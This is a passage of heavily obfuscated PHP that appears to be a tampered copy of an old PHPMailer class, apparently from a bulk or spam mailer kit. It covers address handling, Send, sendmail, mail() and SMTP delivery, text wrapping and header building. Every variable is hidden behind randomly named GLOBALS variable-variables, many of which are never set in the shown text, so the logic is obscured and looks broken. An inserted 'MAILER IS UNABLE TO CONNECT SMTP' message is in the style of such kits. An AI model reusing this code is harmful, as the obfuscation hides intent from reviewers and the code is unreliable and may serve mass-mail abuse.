$this->cc[${${"GLOBALS"}["bvhqwwzlhry"]}][1] = ${${"GLOBALS"}[
"vreypqtek"
]};
}
function AddBCC($address, $name = "")
{
${${"GLOBALS"}["bvhqwwzlhry"]} = count($this->bcc);
${"GLOBALS"}["jdvshoizlbo"] = "name";
${"GLOBALS"}["rejxhfgl"] = "cur";
$this->bcc[${${"GLOBALS"}["bvhqwwzlhry"]}][0] = trim(
${${"GLOBALS"}["nnhydclp"]}
);
$this->bcc[${${"GLOBALS"}["rejxhfgl"]}][1] = ${${"GLOBALS"}[
"jdvshoizlbo"
]};
}
function AddReplyTo($address, $name = "")
{
${${"GLOBALS"}["bvhqwwzlhry"]} = count($this->ReplyTo);
${"GLOBALS"}["hlscefqo"] = "name";
$dtjretjclz = "cur";
$this->ReplyTo[${${"GLOBALS"}["bvhqwwzlhry"]}][0] = trim(
${${"GLOBALS"}["nnhydclp"]}
);
$this->ReplyTo[${$dtjretjclz}][1] = ${${"GLOBALS"}["hlscefqo"]};
}
function Send()
{
$iyyrymc = "body";
$upanbnpvh = "body";
$wbdxclps = "result";
${"GLOBALS"}["fgxerlq"] = "header";
${${"GLOBALS"}["fgxerlq"]} = "";
${"GLOBALS"}["mhuzzi"] = "header";
${"GLOBALS"}["dvkgbxaxq"] = "result";
${$iyyrymc} = "";
$eqrhqfnet = "body";
$lyvtyohsedbf = "result";
${${"GLOBALS"}["dvkgbxaxq"]} = true;
if (count($this->to) + count($this->cc) + count($this->bcc) < 1) {
$this->SetError($this->Lang("provide_address"));
return false;
}
if (!empty($this->AltBody)) {
$this->ContentType = "multipart/alternative";
}
$this->error_count = 0;
$vnynxwrxqgny = "body";
$this->SetMessageType();
${${"GLOBALS"}["lgmvqsfiuxt"]} .= $this->CreateHeader();
${$vnynxwrxqgny} = $this->CreateBody();
$vqdjxvhovk = "header";
if (${${"GLOBALS"}["ghkaevlk"]} == "") {
return false;
}
switch ($this->Mailer) {
case "sendmail":
${${"GLOBALS"}["bpaotwhm"]} = $this->SendmailSend(
${$vqdjxvhovk},
${${"GLOBALS"}["ghkaevlk"]}
);
break;
case "smtp":
${$wbdxclps} = $this->SmtpSend(
${${"GLOBALS"}["lgmvqsfiuxt"]},
${$upanbnpvh}
);
break;
case "mail":
${${"GLOBALS"}["bpaotwhm"]} = $this->MailSend(
${${"GLOBALS"}["lgmvqsfiuxt"]},
${${"GLOBALS"}["ghkaevlk"]}
);
break;
default:
${$lyvtyohsedbf} = $this->MailSend(
${${"GLOBALS"}["mhuzzi"]},
${$eqrhqfnet}
);
break;
}
return ${${"GLOBALS"}["bpaotwhm"]};
}
function SendmailSend($header, $body)
{
$hgzwtvs = "body";
${"GLOBALS"}["dxficptbfy"] = "sendmail";
if ($this->Sender != "") {
${${"GLOBALS"}["byfclawnq"]} = sprintf(
"%s -oi -f %s -t",
escapeshellcmd($this->Sendmail),
escapeshellarg($this->Sender)
);
} else {
$bjrhrsneber = "sendmail";
${$bjrhrsneber} = sprintf(
"%s -oi -t",
escapeshellcmd($this->Sendmail)
);
}
if (
!@${${"GLOBALS"}["klhabqmvyik"]} = popen(
${${"GLOBALS"}["dxficptbfy"]},
"w"
)
) {
$this->SetError($this->Lang("execute") . $this->Sendmail);
return false;
}
fputs(
${${"GLOBALS"}["klhabqmvyik"]},
${${"GLOBALS"}["lgmvqsfiuxt"]}
);
fputs(${${"GLOBALS"}["klhabqmvyik"]}, ${$hgzwtvs});
${${"GLOBALS"}["bpaotwhm"]} = pclose(
${${"GLOBALS"}["klhabqmvyik"]}
);
if (version_compare(phpversion(), "4.2.3") == -1) {
$ubwfqrjrd = "result";
${"GLOBALS"}["csnsqyukqf"] = "result";
${$ubwfqrjrd} = (${${"GLOBALS"}["csnsqyukqf"]} >> 8) & 0xff;
}
if (${${"GLOBALS"}["bpaotwhm"]} != 0) {
$this->SetError($this->Lang("execute") . $this->Sendmail);
return false;
}
return true;
}
function MailSend($header, $body)
{
$leqdkfx = "params";
${"GLOBALS"}["aitjlxhvkv"] = "i";
${"GLOBALS"}["wmtxoyznknz"] = "rt";
$suspyyibxbqc = "old_from";
${"GLOBALS"}["pyuabrujr"] = "to";
$lrhbggzwb = "to";
${"GLOBALS"}["dxctoejq"] = "i";
$djxyiadm = "toArr";
${$lrhbggzwb} = "";
for (
${${"GLOBALS"}["dxctoejq"]} = 0;
${${"GLOBALS"}["aitjlxhvkv"]} < count($this->to);
${${"GLOBALS"}["khvroce"]}++
) {
${"GLOBALS"}["qqxwven"] = "i";
if (${${"GLOBALS"}["qqxwven"]} != 0) {
$inqcsrcwebj = "to";
${$inqcsrcwebj} .= ", ";
}
${${"GLOBALS"}["xuyddcasqvgb"]} .= $this->AddrFormat(
$this->to[${${"GLOBALS"}["khvroce"]}]
);
}
${$djxyiadm} = split(",", ${${"GLOBALS"}["pyuabrujr"]});
${$leqdkfx} = sprintf("-oi -f %s", $this->Sender);
if ($this->Sender != "" && strlen(ini_get("safe_mode")) < 1) {
${"GLOBALS"}["rwrjzgn"] = "old_from";
${${"GLOBALS"}["rwrjzgn"]} = ini_get("sendmail_from");
$drbyqmi = "toArr";
ini_set("sendmail_from", $this->Sender);
if ($this->SingleTo === true && count(${$drbyqmi}) > 1) {
$wnnbdqe = "key";
${"GLOBALS"}["lwpivbl"] = "val";
${"GLOBALS"}["iwvasqxutx"] = "toArr";
foreach (
${${"GLOBALS"}["iwvasqxutx"]}
as ${$wnnbdqe} => ${${"GLOBALS"}["lwpivbl"]}
) {
${"GLOBALS"}["dameibk"] = "rt";
$nyadhpbdmzkj = "val";
${"GLOBALS"}["koojawkxlt"] = "params";
${${"GLOBALS"}["dameibk"]} = @mail(
${$nyadhpbdmzkj},
$this->EncodeHeader(
$this->SecureHeader($this->Subject)
),
${${"GLOBALS"}["ghkaevlk"]},
${${"GLOBALS"}["lgmvqsfiuxt"]},
${${"GLOBALS"}["koojawkxlt"]}
);
}
} else {
${"GLOBALS"}["qgyckcktl"] = "body";
$wdqntuqptn = "header";
${${"GLOBALS"}["hkwwepw"]} = @mail(
${${"GLOBALS"}["xuyddcasqvgb"]},
$this->EncodeHeader(
$this->SecureHeader($this->Subject)
),
${${"GLOBALS"}["qgyckcktl"]},
${$wdqntuqptn},
${${"GLOBALS"}["vayhntyql"]}
);
}
} else {
$tprfgtvxbm = "toArr";
if ($this->SingleTo === true && count(${$tprfgtvxbm}) > 1) {
$wwcnxw = "key";
${"GLOBALS"}["zbsmhul"] = "val";
foreach (
${${"GLOBALS"}["iyprpiaer"]}
as ${$wwcnxw} => ${${"GLOBALS"}["zbsmhul"]}
) {
${"GLOBALS"}["ldgsvkgpkcee"] = "params";
${"GLOBALS"}["tzxjfxecygp"] = "val";
$wyquoerq = "body";
${${"GLOBALS"}["hkwwepw"]} = @mail(
${${"GLOBALS"}["tzxjfxecygp"]},
$this->EncodeHeader(
$this->SecureHeader($this->Subject)
),
${$wyquoerq},
${${"GLOBALS"}["lgmvqsfiuxt"]},
${${"GLOBALS"}["ldgsvkgpkcee"]}
);
}
} else {
$pjgvjhlg = "header";
$bkciirdvursr = "to";
${"GLOBALS"}["hjbdsoc"] = "rt";
${${"GLOBALS"}["hjbdsoc"]} = @mail(
${$bkciirdvursr},
$this->EncodeHeader(
$this->SecureHeader($this->Subject)
),
${${"GLOBALS"}["ghkaevlk"]},
${$pjgvjhlg}
);
}
}
if (isset(${$suspyyibxbqc})) {
ini_set("sendmail_from", ${${"GLOBALS"}["wirlzwiyz"]});
}
if (!${${"GLOBALS"}["wmtxoyznknz"]}) {
$this->SetError($this->Lang("instantiate"));
return false;
}
return true;
}
function SmtpSend($header, $body)
{
$mdoowelv = "i";
$nqsequjvrhyk = "bad_rcpt";
${${"GLOBALS"}["croydrm"]} = "";
${"GLOBALS"}["wetzjyt"] = "body";
$rauxzeliimxj = "i";
${"GLOBALS"}["qkotywv"] = "i";
$jbtolxyki = "i";
${$nqsequjvrhyk} = [];
${"GLOBALS"}["jyfwgrtwqd"] = "i";
${"GLOBALS"}["dmynlmuqje"] = "bad_rcpt";
if (!$this->SmtpConnect()) {
echo "FAILED !!<p align="center\"><font color="#D4001A" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";
die();
return false;
}
${${"GLOBALS"}["wosiwnk"]} =
$this->Sender == "" ? $this->From : $this->Sender;
${"GLOBALS"}["oqbnemfkiw"] = "i";
if (!$this->smtp->Mail(${${"GLOBALS"}["wosiwnk"]})) {
$yrdkpcxzing = "error";
$haeqvem = "smtp_from";
${${"GLOBALS"}["croydrm"]} =
$this->Lang("from_failed") . ${$haeqvem};
$this->SetError(${$yrdkpcxzing});
$this->smtp->Reset();
return false;
}
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["jyfwgrtwqd"]} < count($this->to);
${${"GLOBALS"}["khvroce"]}++
) {
${"GLOBALS"}["zrelielurpxu"] = "i";
if (
!$this->smtp->Recipient(
$this->to[${${"GLOBALS"}["zrelielurpxu"]}][0]
)
) {
${"GLOBALS"}["rwhpkw"] = "i";
${${"GLOBALS"}["fwlsafy"]}[] =
$this->to[${${"GLOBALS"}["rwhpkw"]}][0];
}
}
for (
${$mdoowelv} = 0;
${$jbtolxyki} < count($this->cc);
${${"GLOBALS"}["qkotywv"]}++
) {
$ciarbynqs = "i";
if (!$this->smtp->Recipient($this->cc[${$ciarbynqs}][0])) {
$ikttiig = "i";
${${"GLOBALS"}["fwlsafy"]}[] = $this->cc[${$ikttiig}][0];
}
}
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["oqbnemfkiw"]} < count($this->bcc);
${$rauxzeliimxj}++
) {
if (
!$this->smtp->Recipient(
$this->bcc[${${"GLOBALS"}["khvroce"]}][0]
)
) {
$ptqivxn = "i";
${${"GLOBALS"}["fwlsafy"]}[] = $this->bcc[${$ptqivxn}][0];
}
}
if (count(${${"GLOBALS"}["dmynlmuqje"]}) > 0) {
${"GLOBALS"}["cmhprjvln"] = "i";
$vouscbmddfb = "i";
for (
${${"GLOBALS"}["cmhprjvln"]} = 0;
${$vouscbmddfb} < count(${${"GLOBALS"}["fwlsafy"]});
${${"GLOBALS"}["khvroce"]}++
) {
$vmvdtvirqu = "bad_rcpt";
$xzjmijzidy = "error";
if (${${"GLOBALS"}["khvroce"]} != 0) {
${"GLOBALS"}["vaicburhkr"] = "error";
${${"GLOBALS"}["vaicburhkr"]} .= ", ";
}
${$xzjmijzidy} .=
${$vmvdtvirqu}[${${"GLOBALS"}["khvroce"]}];
}
$pbrzyawqtas = "error";
${"GLOBALS"}["nvpukucx"] = "error";
${$pbrzyawqtas} =
$this->Lang("recipients_failed") .
${${"GLOBALS"}["croydrm"]};
$this->SetError(${${"GLOBALS"}["nvpukucx"]});
$this->smtp->Reset();
return false;
}
if (
!$this->smtp->Data(
${${"GLOBALS"}["lgmvqsfiuxt"]} . ${${"GLOBALS"}["wetzjyt"]}
)
) {
$this->SetError($this->Lang("data_not_accepted"));
$this->smtp->Reset();
return false;
}
if ($this->SMTPKeepAlive == true) {
$this->smtp->Reset();
} else {
$this->SmtpClose();
}
return true;
}
function SmtpConnect()
{
if ($this->smtp == null) {
$this->smtp = new SMTP();
}
$this->smtp->do_debug = $this->SMTPDebug;
${"GLOBALS"}["nomldqqa"] = "connection";
$vkvlwbmpvmv = "connection";
${"GLOBALS"}["ysrbigfhcfqu"] = "connection";
${"GLOBALS"}["kulsjbzdfj"] = "hosts";
${${"GLOBALS"}["kulsjbzdfj"]} = explode(";", $this->Host);
${${"GLOBALS"}["znmvveriyntw"]} = 0;
$tarbqmsrc = "connection";
${$tarbqmsrc} = $this->smtp->Connected();
while (
${${"GLOBALS"}["znmvveriyntw"]} <
count(${${"GLOBALS"}["umfsepxdy"]}) &&
${$vkvlwbmpvmv} == false
) {
$hmhwaga = "index";
${"GLOBALS"}["frfhayoijd"] = "index";
${"GLOBALS"}["ggqowrq"] = "port";
$erunrrmjgm = "hosts";
${${"GLOBALS"}["yhnrjmph"]} = [];
if (
eregi(
"^(.+):([0-9]+)\$",
${$erunrrmjgm}[${${"GLOBALS"}["frfhayoijd"]}],
${${"GLOBALS"}["yhnrjmph"]}
)
) {
${"GLOBALS"}["tlsgyigkpe"] = "hostinfo";
$host = ${${"GLOBALS"}["tlsgyigkpe"]}[1];
${${"GLOBALS"}["jsrpobbv"]} =
${${"GLOBALS"}["yhnrjmph"]}[2];
} else {
${"GLOBALS"}["ebkcdtvflidc"] = "hosts";
$host =
${${"GLOBALS"}["ebkcdtvflidc"]}[
${${"GLOBALS"}["znmvveriyntw"]}
];
${${"GLOBALS"}["jsrpobbv"]} = $this->Port;
}
if (
$this->smtp->Connect(
(!empty($this->SMTPSecure)
? $this->SMTPSecure . "://"
: "") . $host,
${${"GLOBALS"}["ggqowrq"]},
$this->Timeout
)
) {
if ($this->Helo != "") {
$this->smtp->Hello($this->Helo);
} else {
$this->smtp->Hello($this->ServerHostname());
}
${${"GLOBALS"}["pkhgsss"]} = true;
if ($this->SMTPAuth) {
if (
!$this->smtp->Authenticate(
$this->Username,
$this->Password
)
) {
$this->SetError($this->Lang("authenticate"));
$this->smtp->Reset();
${${"GLOBALS"}["pkhgsss"]} = false;
}
}
}
${$hmhwaga}++;
}
if (!${${"GLOBALS"}["ysrbigfhcfqu"]}) {
$this->SetError($this->Lang("connect_host"));
}
return ${${"GLOBALS"}["nomldqqa"]};
}
function SmtpClose()
{
if ($this->smtp != null) {
if ($this->smtp->Connected()) {
$this->smtp->Quit();
$this->smtp->Close();
}
}
}
function SetLanguage($lang_type, $lang_path = "language/")
{
${"GLOBALS"}["qhvzpbmrd"] = "lang_path";
if (
file_exists(
${${"GLOBALS"}["iggestehup"]} .
"phpmailer.lang-" .
${${"GLOBALS"}["rtfgykzji"]} .
".php"
)
) {
$vojfcovur = "lang_path";
include ${$vojfcovur} .
"phpmailer.lang-" .
${${"GLOBALS"}["rtfgykzji"]} .
".php";
} elseif (
file_exists(
${${"GLOBALS"}["qhvzpbmrd"]} . "phpmailer.lang-en.php"
)
) {
include ${${"GLOBALS"}["iggestehup"]} . "phpmailer.lang-en.php";
} else {
$this->SetError("Could not load language file");
return false;
}
$this->language = ${${"GLOBALS"}["kusvcxvn"]};
return true;
}
function AddrAppend($type, $addr)
{
$heheoocoi = "addr_str";
${$heheoocoi} = ${${"GLOBALS"}["idvydcuot"]} . ": ";
${${"GLOBALS"}["nycgpjgxwu"]} .= $this->AddrFormat(
${${"GLOBALS"}["kvwloyc"]}[0]
);
if (count(${${"GLOBALS"}["kvwloyc"]}) > 1) {
$nuouvkdhyhw = "i";
$xsodobpkcmq = "i";
for (
${$nuouvkdhyhw} = 1;
${${"GLOBALS"}["khvroce"]} <
count(${${"GLOBALS"}["kvwloyc"]});
${$xsodobpkcmq}++
) {
${"GLOBALS"}["govnebexnu"] = "addr_str";
${"GLOBALS"}["cfspvho"] = "addr";
${"GLOBALS"}["tplgdemxwgs"] = "i";
${${"GLOBALS"}["govnebexnu"]} .=
", " .
$this->AddrFormat(
${${"GLOBALS"}["cfspvho"]}[
${${"GLOBALS"}["tplgdemxwgs"]}
]
);
}
}
${${"GLOBALS"}["nycgpjgxwu"]} .= $this->LE;
return ${${"GLOBALS"}["nycgpjgxwu"]};
}
function AddrFormat($addr)
{
${"GLOBALS"}["jmgpkgobqxic"] = "addr";
if (empty(${${"GLOBALS"}["jmgpkgobqxic"]}[1])) {
$npjxcgjcrb = "formatted";
${"GLOBALS"}["xkyknk"] = "addr";
${$npjxcgjcrb} = $this->SecureHeader(
${${"GLOBALS"}["xkyknk"]}[0]
);
} else {
$doewhvft = "addr";
${"GLOBALS"}["lvsrskv"] = "addr";
$hnbtevdcp = "formatted";
${$hnbtevdcp} =
$this->EncodeHeader(
$this->SecureHeader(${${"GLOBALS"}["lvsrskv"]}[1]),
"phrase"
) .
" <" .
$this->SecureHeader(${$doewhvft}[0]) .
">";
}
return ${${"GLOBALS"}["chwmquxcs"]};
}
function WrapText($message, $length, $qp_mode = false)
{
${"GLOBALS"}["adxihwumh"] = "soft_break";
${"GLOBALS"}["sapgwl"] = "qp_mode";
${${"GLOBALS"}["adxihwumh"]} = ${${"GLOBALS"}["sapgwl"]}
? sprintf(" =%s", $this->LE)
: $this->LE;
${"GLOBALS"}["rvvxxx"] = "is_utf8";
${"GLOBALS"}["cqewdie"] = "line";
$ztdtrdkbgr = "i";
${"GLOBALS"}["eygkwgsemc"] = "message";
${${"GLOBALS"}["rvvxxx"]} = strtolower($this->CharSet) == "utf-8";
${${"GLOBALS"}["soycmsrg"]} = $this->FixEOL(
${${"GLOBALS"}["soycmsrg"]}
);
if (substr(${${"GLOBALS"}["eygkwgsemc"]}, -1) == $this->LE) {
${${"GLOBALS"}["soycmsrg"]} = substr(
${${"GLOBALS"}["soycmsrg"]},
0,
-1
);
}
${${"GLOBALS"}["zeplfdp"]} = explode(
$this->LE,
${${"GLOBALS"}["soycmsrg"]}
);
${"GLOBALS"}["vfisgweqfups"] = "message";
${${"GLOBALS"}["vfisgweqfups"]} = "";
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["khvroce"]} < count(${${"GLOBALS"}["cqewdie"]});
${$ztdtrdkbgr}++
) {
$sxgmilbzxm = "line_part";
$igrddgqjrb = "e";
${"GLOBALS"}["eulzcnjpnwdg"] = "buf";
${${"GLOBALS"}["lefkkc"]} = explode(
" ",
${${"GLOBALS"}["zeplfdp"]}[${${"GLOBALS"}["khvroce"]}]
);
${"GLOBALS"}["dxwgkfv"] = "e";
${${"GLOBALS"}["ozywytfhp"]} = "";
${"GLOBALS"}["fsfhagu"] = "message";
for (
${${"GLOBALS"}["hpkszosw"]} = 0;
${$igrddgqjrb} < count(${$sxgmilbzxm});
${${"GLOBALS"}["dxwgkfv"]}++
) {
${"GLOBALS"}["hnttoryq"] = "word";
${"GLOBALS"}["bndienfipol"] = "line_part";
${"GLOBALS"}["ullsbypx"] = "length";
$zfrqckr = "qp_mode";
${"GLOBALS"}["cjqpbvgfjc"] = "word";
${${"GLOBALS"}["hnttoryq"]} =
${${"GLOBALS"}["bndienfipol"]}[
${${"GLOBALS"}["hpkszosw"]}
];
if (
${$zfrqckr} and
strlen(${${"GLOBALS"}["cjqpbvgfjc"]}) >
${${"GLOBALS"}["ullsbypx"]}
) {
$grcrdpub = "space_left";
${$grcrdpub} =
${${"GLOBALS"}["krcegmdfvub"]} -
strlen(${${"GLOBALS"}["ozywytfhp"]}) -
1;
if (${${"GLOBALS"}["hpkszosw"]} != 0) {
if (${${"GLOBALS"}["pjdbhb"]} > 20) {
$ygwmuhxy = "word";
${"GLOBALS"}["njyrxeum"] = "word";
$wfhhxrr = "is_utf8";
${"GLOBALS"}["eoietn"] = "word";
${${"GLOBALS"}["crcncweipdd"]} = ${${"GLOBALS"}[
"pjdbhb"
]};
${"GLOBALS"}["fzrvteq"] = "word";
if (${$wfhhxrr}) {
${${"GLOBALS"}[
"crcncweipdd"
]} = $this->UTF8CharBoundary(
${${"GLOBALS"}["qstoiregtq"]},
${${"GLOBALS"}["crcncweipdd"]}
);
} elseif (
substr(
${${"GLOBALS"}["njyrxeum"]},
${${"GLOBALS"}["crcncweipdd"]} - 1,
1
) == "="
) {
$xuoghhmchsm = "len";
${$xuoghhmchsm}--;
} elseif (
substr(
${${"GLOBALS"}["eoietn"]},
${${"GLOBALS"}["crcncweipdd"]} - 2,
1
) == "="
) {
${"GLOBALS"}["kidnidz"] = "len";
${${"GLOBALS"}["kidnidz"]} -= 2;
}
${${"GLOBALS"}["ooqexem"]} = substr(
${${"GLOBALS"}["fzrvteq"]},
0,
${${"GLOBALS"}["crcncweipdd"]}
);
${${"GLOBALS"}["qstoiregtq"]} = substr(
${$ygwmuhxy},
${${"GLOBALS"}["crcncweipdd"]}
);
$jqdhwgxsod = "buf";
${$jqdhwgxsod} .=
" " . ${${"GLOBALS"}["ooqexem"]};
${${"GLOBALS"}["soycmsrg"]} .=
${${"GLOBALS"}["ozywytfhp"]} .
sprintf("=%s", $this->LE);
} else {
${"GLOBALS"}["kavdacterfht"] = "buf";
${${"GLOBALS"}["soycmsrg"]} .=
${${"GLOBALS"}["kavdacterfht"]} .
${${"GLOBALS"}["qkdhnln"]};
}
${${"GLOBALS"}["ozywytfhp"]} = "";
}
while (strlen(${${"GLOBALS"}["qstoiregtq"]}) > 0) {
${"GLOBALS"}["fbcudnykhh"] = "length";
$cvjmjccsaz = "len";
${$cvjmjccsaz} = ${${"GLOBALS"}["fbcudnykhh"]};
${"GLOBALS"}["vuuvgplsqy"] = "word";
${"GLOBALS"}["oftsjeb"] = "len";
$muthkszskpo = "len";
$uisbflh = "len";
if (${${"GLOBALS"}["cbkemmog"]}) {
$olfcvv = "word";
${"GLOBALS"}["uujevlki"] = "len";
${"GLOBALS"}["iqbcvqeoxmpy"] = "len";
${${"GLOBALS"}[
"iqbcvqeoxmpy"
]} = $this->UTF8CharBoundary(
${$olfcvv},
${${"GLOBALS"}["uujevlki"]}
);
} elseif (
substr(
${${"GLOBALS"}["qstoiregtq"]},
${${"GLOBALS"}["oftsjeb"]} - 1,
1
) == "="
) {
${${"GLOBALS"}["crcncweipdd"]}--;
} elseif (
substr(
${${"GLOBALS"}["qstoiregtq"]},
${$muthkszskpo} - 2,
1
) == "="
) {
${${"GLOBALS"}["crcncweipdd"]} -= 2;
}
${${"GLOBALS"}["ooqexem"]} = substr(
${${"GLOBALS"}["qstoiregtq"]},
0,
${$uisbflh}
);
${${"GLOBALS"}["qstoiregtq"]} = substr(
${${"GLOBALS"}["qstoiregtq"]},
${${"GLOBALS"}["crcncweipdd"]}
);
if (strlen(${${"GLOBALS"}["vuuvgplsqy"]}) > 0) {
${"GLOBALS"}["fvtvsi"] = "part";
${${"GLOBALS"}["soycmsrg"]} .=
${${"GLOBALS"}["fvtvsi"]} .
sprintf("=%s", $this->LE);
} else {
${"GLOBALS"}["xlexctrfg"] = "part";
${"GLOBALS"}["xgycpojwegol"] = "buf";
${${"GLOBALS"}[
"xgycpojwegol"
]} = ${${"GLOBALS"}["xlexctrfg"]};
}
}
} else {
${${"GLOBALS"}["lvxxkbvlmueu"]} = ${${"GLOBALS"}[
"ozywytfhp"
]};
$btpgnubtwa = "word";
${${"GLOBALS"}["ozywytfhp"]} .=
${${"GLOBALS"}["hpkszosw"]} == 0
? ${${"GLOBALS"}["qstoiregtq"]}
: " " . ${$btpgnubtwa};
if (
strlen(${${"GLOBALS"}["ozywytfhp"]}) >
${${"GLOBALS"}["krcegmdfvub"]} and
${${"GLOBALS"}["lvxxkbvlmueu"]} != ""
) {
${"GLOBALS"}["bkdvcup"] = "buf";
${"GLOBALS"}["qaornwq"] = "message";
${"GLOBALS"}["pxkkyyed"] = "soft_break";
${${"GLOBALS"}["qaornwq"]} .=
${${"GLOBALS"}["lvxxkbvlmueu"]} .
${${"GLOBALS"}["pxkkyyed"]};
${${"GLOBALS"}["bkdvcup"]} = ${${"GLOBALS"}[
"qstoiregtq"
]};
}
}
}
${${"GLOBALS"}["fsfhagu"]} .=
${${"GLOBALS"}["eulzcnjpnwdg"]} . $this->LE;
}
return ${${"GLOBALS"}["soycmsrg"]};
}
function UTF8CharBoundary($encodedText, $maxLength)
{
$qnnlpamwtc = "foundSplitPos";
${"GLOBALS"}["iudhbftdv"] = "maxLength";
${"GLOBALS"}["aocxwevld"] = "lookBack";
${${"GLOBALS"}["swqcec"]} = false;
${${"GLOBALS"}["aocxwevld"]} = 3;
while (!${$qnnlpamwtc}) {
${"GLOBALS"}["qblxfwjbeu"] = "lookBack";
${"GLOBALS"}["sxxgbdvh"] = "lookBack";
${"GLOBALS"}["tgmqfxoh"] = "lastChunk";
$gqeunuidwch = "encodedCharPos";
${${"GLOBALS"}["wydfdtjk"]} = substr(
${${"GLOBALS"}["cuqqybfiwmw"]},
${${"GLOBALS"}["crwnigqgodl"]} -
${${"GLOBALS"}["sxxgbdvh"]},
${${"GLOBALS"}["qblxfwjbeu"]}
);
${$gqeunuidwch} = strpos(${${"GLOBALS"}["tgmqfxoh"]}, "=");
if (${${"GLOBALS"}["aqjvdngepd"]} !== false) {
$nxzcbamqrvm = "dec";
${"GLOBALS"}["nplwmgsd"] = "hex";
$ujdgcxi = "maxLength";
${${"GLOBALS"}["nplwmgsd"]} = substr(
${${"GLOBALS"}["cuqqybfiwmw"]},
${$ujdgcxi} -
${${"GLOBALS"}["mmbogfbse"]} +
${${"GLOBALS"}["aqjvdngepd"]} +
1,
2
);
${$nxzcbamqrvm} = hexdec(${${"GLOBALS"}["supqnmmhraf"]});
if (${${"GLOBALS"}["oafvjqenxo"]} < 128) {
${"GLOBALS"}["ntullhc"] = "maxLength";
$bznkbjx = "maxLength";
${"GLOBALS"}["hudutp"] = "lookBack";
$ocwssm = "encodedCharPos";
$uqibebhvtmp = "maxLength";
${${"GLOBALS"}["ntullhc"]} =
${$ocwssm} == 0
? ${$bznkbjx}
: ${$uqibebhvtmp} -
(${${"GLOBALS"}["hudutp"]} -
${${"GLOBALS"}["aqjvdngepd"]});
${${"GLOBALS"}["swqcec"]} = true;
} elseif (${${"GLOBALS"}["oafvjqenxo"]} >= 192) {
${"GLOBALS"}["hxasvggs"] = "maxLength";
$isqchbm = "lookBack";
${"GLOBALS"}["bnwhslp"] = "maxLength";
${${"GLOBALS"}["bnwhslp"]} =
${${"GLOBALS"}["hxasvggs"]} -
(${$isqchbm} - ${${"GLOBALS"}["aqjvdngepd"]});
${${"GLOBALS"}["swqcec"]} = true;
} elseif (${${"GLOBALS"}["oafvjqenxo"]} < 192) {
${"GLOBALS"}["vpxduefkp"] = "lookBack";
${${"GLOBALS"}["vpxduefkp"]} += 3;
}
} else {
${${"GLOBALS"}["swqcec"]} = true;
}
}
return ${${"GLOBALS"}["iudhbftdv"]};
}
function SetWordWrap()
{
if ($this->WordWrap < 1) {
return;
}
switch ($this->message_type) {
case "alt":
case "alt_attachments":
$this->AltBody = $this->WrapText(
$this->AltBody,
$this->WordWrap
);
break;
default:
$this->Body = $this->WrapText($this->Body, $this->WordWrap);
break;
}
}
function CreateHeader()
{
$kpnfsjm = "result";
$iktcgmvtg = "from";
$yrfubnt = "index";
${$kpnfsjm} = "";
${"GLOBALS"}["ggiwiygg"] = "from";
$uqejcso = "result";
${"GLOBALS"}["gyxhal"] = "uniq_id";
${"GLOBALS"}["eubjqrog"] = "uniq_id";
${"GLOBALS"}["fjytfcggr"] = "uniq_id";
${${"GLOBALS"}["gyxhal"]} = md5(uniqid(time()));
${"GLOBALS"}["gtjroqlxxm"] = "result";
$this->boundary[1] = "b1_" . ${${"GLOBALS"}["fjytfcggr"]};
$this->boundary[2] = "b2_" . ${${"GLOBALS"}["eubjqrog"]};
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Date",
$this->RFCDate()
);
if ($this->Sender == "") {
$cdbtpip = "result";
${$cdbtpip} .= $this->HeaderLine(
"Return-Path",
trim($this->From)
);
} else {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Return-Path",
trim($this->Sender)
);
}
if ($this->Mailer != "mail") {
if (count($this->to) > 0) {
${${"GLOBALS"}["bpaotwhm"]} .= $this->AddrAppend(
"To",
$this->to
);
} elseif (count($this->cc) == 0) {
${"GLOBALS"}["jmrdauc"] = "result";
${${"GLOBALS"}["jmrdauc"]} .= $this->HeaderLine(
"To",
"undisclosed-recipients:;"
);
}
if (count($this->cc) > 0) {
$cdjbhatao = "result";
${$cdjbhatao} .= $this->AddrAppend("Cc", $this->cc);
}
}
${$iktcgmvtg} = [];
${${"GLOBALS"}["ynjosywdrdie"]}[0][0] = trim($this->From);
${${"GLOBALS"}["ynjosywdrdie"]}[0][1] = $this->FromName;
${"GLOBALS"}["ocdcrtxuuid"] = "result";
${${"GLOBALS"}["ocdcrtxuuid"]} .= $this->AddrAppend(
"From",
${${"GLOBALS"}["ggiwiygg"]}
);
if (
($this->Mailer == "sendmail" || $this->Mailer == "mail") &&
count($this->cc) > 0
) {
$tqnmccox = "result";
${$tqnmccox} .= $this->AddrAppend("Cc", $this->cc);
}
if (
($this->Mailer == "sendmail" || $this->Mailer == "mail") &&
count($this->bcc) > 0
) {
${${"GLOBALS"}["bpaotwhm"]} .= $this->AddrAppend(
"Bcc",
$this->bcc
);
}
${"GLOBALS"}["ljfbietewoyn"] = "result";
if (count($this->ReplyTo) > 0) {
$lcimgiqdwcli = "result";
${$lcimgiqdwcli} .= $this->AddrAppend(
"Reply-To",
$this->ReplyTo
);
}
if ($this->Mailer != "mail") {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Subject",
$this->EncodeHeader($this->SecureHeader($this->Subject))
);
}
if ($this->MessageID != "") {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Message-ID",
$this->MessageID
);
} else {
$jjumemj = "result";
$kqlvyccgurd = "uniq_id";
${$jjumemj} .= sprintf(
"Message-ID: <%s@%s>%s",
${$kqlvyccgurd},
$this->ServerHostname(),
$this->LE
);
}
${${"GLOBALS"}["ljfbietewoyn"]} .= $this->HeaderLine(
"X-Priority",
$this->Priority
);
${$uqejcso} .= $this->HeaderLine(
"X-Mailer",
"PHPMailer (phpmailer.sourceforge.net) [version " .
$this->Version .
"]"
);
${"GLOBALS"}["krlpssysujl"] = "index";
if ($this->ConfirmReadingTo != "") {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Disposition-Notification-To",
"<" . trim($this->ConfirmReadingTo) . ">"
);
}
for (
${${"GLOBALS"}["znmvveriyntw"]} = 0;
${${"GLOBALS"}["krlpssysujl"]} < count($this->CustomHeader);
${$yrfubnt}++
) {
